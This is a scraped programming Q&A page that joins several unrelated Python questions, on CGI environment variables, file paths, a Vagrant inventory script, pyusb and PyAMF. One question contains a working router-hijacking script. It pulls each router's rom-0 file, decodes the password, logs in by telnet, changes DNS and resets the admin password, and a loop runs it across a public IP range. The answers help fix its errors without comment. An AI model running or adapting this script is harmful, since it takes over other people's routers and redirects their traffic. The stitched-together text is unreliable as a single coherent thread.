This question already exists:
How can I display environment variable [duplicate]
Closed 8 years ago.
I code in python and I have a problem.
I have file1.py :
import os, sys, platform, getpass, tempfile
import webbrowser
import string
import json
import cgi, cgitb
def main( addr, name):
os.environ["REMOTE_ADDR"] = addr
print os.environ ["REMOTE_ADDR"]
template = open('file2.py').read()
tmpl = string.Template(template).substitute(
name = name,
addr = cgi.escape(os.environ["REMOTE_ADDR"]),
os = user_os,
user_name = user_login,
)
f = tempfile.NamedTemporaryFile(prefix='/tmp/info.html', mode='w', delete=False)
f.write(contenu)
f.close()
webbrowser.open(f.name)
if __name__ == "__main__":
addr = sys.argv[1]
name = sys.argv[2]
user_os = sys.platform
sys.argv.append(user_os)
user_login = getpass.getuser()
sys.argv.append(user_login)
main(addr, name)
in the file2.py
<form name="sD" method="get" action="${addr}">
but I have this error and I have tried to resolve it, but I don't know how can do that :(
Traceback (most recent call last):
File "./file1.py", line 47, in <module>
main(addr, name)
File "./file1.py", line 22, in main
addr = cgi.escape(os.environ["REMOTE_ADDR"])
File "/usr/lib/python2.6/UserDict.py", line 22, in __getitem__
raise KeyError(key)
KeyError: 'REMOTE_ADDR'
My problem is, I don't know how can I put a addr variable in command line and recover that IP address in an URL when I click on the OK button
Help me please :(
You have multiple problems with your code.
First, as mentioned in your previous question:
you dont (I repeat: you dont) want the IP of the client as the url for
your form's action
What, exactly, do you think this line of code is going to do?
<form name="sD" method="get" action="${addr}">
It will attempt to send the form to your end user's IP address. This will fail. This will fail because
They likely don't have a web server running
Even if they do, they likely don't have a script built to handle your form
You should be submitting the form to a page you control so that you can process it
As for your missing key error, you don't have an environment variable set. You can do this a few ways:
From outside of your python script, use this command: set REMOTE_ADDR=<value>. Replace <value> with an appropriate value.
From within your python script, use this code
Remember to import os
import os
os.environ["REMOTE_ADDR"] = "value"
Again, value should be an appropriate value.
A very simple example of what you want:
import os, sys
def main( addr, name):
os.environ["REMOTE_ADDR"] = addr
print os.environ["REMOTE_ADDR"]
if __name__ == "__main__":
addr = sys.argv[1]
name = sys.argv[2]
main(addr, name)
This outputs:
>python test.py "address" "name"
address
>python test.py "http://www.google.com" "name"
http://www.google.com
Finally, as mentioned in your previous question:
you dont (I repeat: you dont) want the IP of the client as the url for
your form's action
From your shell (i.e. command line)
$> set REMOTE_ADDR=<some url>
$> python
>>> import os
>>> print os.environ['REMOTE_ADDR']
<some url>
if you define it in the python instance it is only available to that instance
but by putting in the 'environment' before calling any module it is 'globally' available
Related
I need to have a couple of functions in Python (either variation) to find and print the name of the file they are stored or called from. For example, consider the following functions are stored in at this address: /my/py/func.py:
def this_file():
# print the address of this file
print('this function is stored at %s' % this_file_address)
and
def that_file():
# print the address of the file that is calling this function
print('this function is called form a file at %s' % that_file_address)
And I have a piece of code stored in /my/py/calls.py:
from func import *
this_file()
that_file()
Now, I want the followings to be printed by the above functions:
/my/py/func.py
/my/py/calls.py
How can I write these functions?
Edit #1
It seems calling that_file() from Jupyter notebooks should be handled differently.
import os
import sys
def this_file():
print(os.path.realpath(__file__))
def that_file():
print(os.getcwd() + "/" + sys.argv[0])
I think this is what you're looking for.
Thanks to #quantik and #Iguananaut (see this), I could find a more general solution that works for calling Python functions from .py and .ipynb files:
func.py
Content:
import os.path
import sys
import urllib.request
import json
def this_file():
# prints the address of this file
print(__file__)
return __file__
def that_file():
# prints the address of the file that is calling this function
if sys.argv[0][-21:]=='ipykernel_launcher.py':
print('Are you calling me from a Jupyter Notebook? Try "that_notebook()" instead.')
return False
else:
print(os.getcwd() + "/" + sys.argv[0])
return os.getcwd() + "/" + sys.argv[0]
def that_notebook(base_url='http://127.0.0.1:8888'):
# prints the address of the notebook that is calling this function
## read more about Jupyter APIL: https://github.com/jupyter/jupyter/wiki/Jupyter-Notebook-Server-API
# See if the url is correct
try:
sessions = json.load(urllib.request.urlopen(base_url+'/api/sessions'))
except:
print('Oops! %s is an invalid URL.' % (base_url+'/api/sessions'))
return False
# See if there is any active session
if len(sessions) == 0:
print('No active session found!')
print('Are you calling me from a Python file? Try "that_file()" instead.')
return False
# In case of multiple active sessions, only print the most recently
latest=max([s['kernel']['last_activity'] for s in sessions])
for s in sessions:
if s['kernel']['last_activity']==latest:
print(s['path'])
return(s['path'])
calls.py
Contents:
from func import *
this_file()
that_file()
that_notebook()
Outputs:
python calls.py
/home/jovyan/work/calls.py
No active session found!
Are you calling me from a Python file? Try "that_file()" instead.
jovyan#c5cd7b908543:~/work$
calls.ipynb
Contents:
from func import *
this_file()
that_file()
that_notebook()
Outputs:
calls.ipynb
/home/jovyan/work/func.py
Are you calling me from a Jupyter Notebook? Try "that_notebook()" instead.
work/calls.ipynb
This is my first post here, so if there are any questions or if something is unlcear, don't hesitate to ask.
I am trying to use a dynamic host file so I can build multiple vagrant machines without having to manage the host file first. This is what I found online:
#!/usr/bin/env python
# Adapted from Mark Mandel's implementation
# https://github.com/ansible/ansible/blob/devel/plugins/inventory/vagrant.py
import argparse
import json
import paramiko
import subprocess
import sys
def parse_args():
parser = argparse.ArgumentParser(description="Vagrant inventory script")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('--list', action='store_true')
group.add_argument('--host')
return parser.parse_args()
def list_running_hosts():
cmd = "vagrant status --machine-readable"
status = subprocess.check_output(cmd.split()).rstrip()
hosts = []
for line in status.split('\n'):
(_, host, key, value) = line.split(',')
if key == 'state' and value == 'running':
hosts.append(host)
return hosts
def get_host_details(host):
cmd = "vagrant ssh-config {}".format(host)
p = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
config = paramiko.SSHConfig()
config.parse(p.stdout)
c = config.lookup(host)
return {'ansible_ssh_host': c['hostname'],
'ansible_ssh_port': c['port'],
'ansible_ssh_user': c['user'],
'ansible_ssh_private_key_file': c['identityfile'][0]}
def main():
args = parse_args()
if args.list:
hosts = list_running_hosts()
json.dump({'vagrant': hosts}, sys.stdout)
else:
details = get_host_details(args.host)
json.dump(details, sys.stdout)
if __name__ == '__main__':
main()
However, when I run this I get the following error:
ERROR! The file inventory/vagrant.py is marked as executable, but failed to execute correctly. If this is not supposed to be an executable script, correct this with `chmod -x inventory/vagrant.py`.
ERROR! Inventory script (inventory/vagrant.py) had an execution error: Traceback (most recent call last):
File "/home/sebas/Desktop/playbooks/inventory/vagrant.py", line 52, in <module>
main()
File "/home/sebas/Desktop/playbooks/inventory/vagrant.py", line 45, in main
hosts = list_running_hosts()
File "/home/sebas/Desktop/playbooks/inventory/vagrant.py", line 24, in list_running_hosts
(_, host, key, value) = line.split(',')
ValueError: too many values to unpack
ERROR! inventory/vagrant.py:4: Expected key=value host variable assignment, got: argparse
does anybody know what I did wrong? Thank you guys in advance!
I guess the problem is that vagrant status command will work only inside a directory with a Vagrantfile, or if the ID of a target machine is specified.
To get the state of all active Vagrant environments on the system, vagrant global-status should be used instead. But global-status has a drawback: it uses a cache and does not actively verify the state of machines.
So to reliably determine the state, first we need to get the IDs of all VMs with vagrant global-status and then check these IDs with vagrant status ID.
I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block
you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.
I am trying to run a python file from the command line with a single parameter in Ubuntu 12.04. The program works if I simply run it from the IDE and pass the parameter in the code. However, if I call 'python readFromSerial1.py 3' in the command prompt, I get:
Traceback (most recent call last):
File "readFromSerial1.py", line 62, in <module>
main()
File "readFromSerial1.py", line 6, in main
readDataFromUSB(time)
File "readFromSerial1.py", line 9, in readDataFromUSB
import usb.core
ImportError: No module named usb.core
I'm a little confused as the module imports correctly if I run from the IDE. I download the pyUSB module and extracted it (its filename is pyusb-1.0.0a3). I then copied this file into
/usr/local/lib/python2.7/site-packages/. Is that the correct procedure? I have a feeling the issue is due to python simply not being able to find the usb module and I need to put it in the correct location. My code is below, and any help would be greatly appreciated:
readFromSerial1.py
import sys
def main():
time = sys.argv[1]
#time = 1
readDataFromUSB(time)
def readDataFromUSB(time):
import usb.core
#find device
dev = usb.core.find(idVendor=0x099e, idProduct=0x0001) #GPS info
#Was the device found?
if dev is None:
raise ValueError('Device not found')
else:
print "Device found!"
#Do this to avoid 'Errno16: Resource is busy'
if dev.is_kernel_driver_active(0):
try:
dev.detach_kernel_driver(0)
except usb.core.USBError as e:
sys.exit("Could not detach kernel driver: %s" % str(e))
#Sets default config
dev.set_configuration()
#Gets default endpoint
endpoint = dev[0][(0,0)][0]
writeObject = open("InputData.txt", "w")
#iterate for time purposes
for i in range(0, (time*6)): #sys.argv is command line variable for time input
data = dev.read(endpoint.bEndpointAddress, endpoint.wMaxPacketSize, 0, 100000)
sret = ''.join([chr(x) for x in data])
writeObject.write(sret);
print sret
'''
newStr = ''.join(sret[7:14])
compareStr = ",*4F"
if (newStr == compareStr):
print "The GPS is not reading in any values right now. Try going somewhere else with better reception."
else:
print sret[7:14]
'''
writeObject.close()
main()
File "G:\Python25\Lib\site-packages\PyAMF-0.6b2-py2.5-win32.egg\pyamf\util\__init__.py", line 15, in <module>
ImportError: cannot import name python
How do I fix it?
If you need any info to know how to fix this problem, I can explain, just ask.
Thanks
Code:
from google.appengine.ext.webapp.util import run_wsgi_app
from google.appengine.ext import webapp
from TottysGateway import TottysGateway
import logging
def main():
services_root = 'services'
#services = ['users.login']
#gateway = TottysGateway(services, services_root, logger=logging, debug=True)
#app = webapp.WSGIApplication([('/', gateway)], debug=True)
#run_wsgi_app(app)
if __name__ == "__main__":
main()
Code:
from pyamf.remoting.gateway.google import WebAppGateway
import logging
class TottysGateway(WebAppGateway):
def __init__(self, services_available, root_path, not_found_service, logger, debug):
# override the contructor and then call the super
self.services_available = services_available
self.root_path = root_path
self.not_found_service = not_found_service
WebAppGateway.__init__(self, {}, logger=logging, debug=True)
def getServiceRequest(self, request, target):
# override the original getServiceRequest method
try:
# try looking for the service in the services list
return WebAppGateway.getServiceRequest(self, request, target)
except:
pass
try:
# don't know what it does but is an error for now
service_func = self.router(target)
except:
if(target in self.services_available):
# only if is an available service import it's module
# so it doesn't access services that should be hidden
try:
module_path = self.root_path + '.' + target
paths = target.rsplit('.')
func_name = paths[len(paths) - 1]
import_as = '_'.join(paths) + '_' + func_name
import_string = "from "+module_path+" import "+func_name+' as service_func'
exec import_string
except:
service_func = False
if(not service_func):
# if is not found load the default not found service
module_path = self.rootPath + '.' + self.not_found_service
import_string = "from "+module_path+" import "+func_name+' as service_func'
# add the service loaded above
assign_string = "self.addService(service_func, target)"
exec assign_string
return WebAppGateway.getServiceRequest(self, request, target)
You need to post your full traceback. What you show here isn't all that useful. I ended up digging up line 15 of pyamf/util/init.py. The code you should have posted is
from pyamf import python
This should not fail unless your local environment is messed up.
Can you 'import pyamf.util' and 'import pyamf.python' in a interactive Python shell? What about if you start Python while in /tmp (on the assumption that you might have a file named 'pyamf.py' in the current directory. Which is a bad thing.)
= (older comment below) =
Fix your question. I can't even tell where line 15 of util/__init__.py is supposed to be. Since I can't figure that out, I can't answer your question. Instead, I'll point out ways to improve your question and code.
First, use the markup language correctly, so that all the code is in a code block. Make sure you've titled the code, so we know it's from util/__init__.py and not some random file.
In your error message, include the full traceback, and not the last two lines.
Stop using parens in things like "if(not service_func):" and use a space instead, so its " if not service_func:". This is discussed in PEP 8.
Read the Python documentation and learn how to use the language. Something like "func_name = paths[len(paths) - 1]" should be "func_name = paths[-1]"
Learn about the import function and don't use "exec" for this case. Nor do you need the "exec assign_string" -- just do the "self.addService(service_func, target)"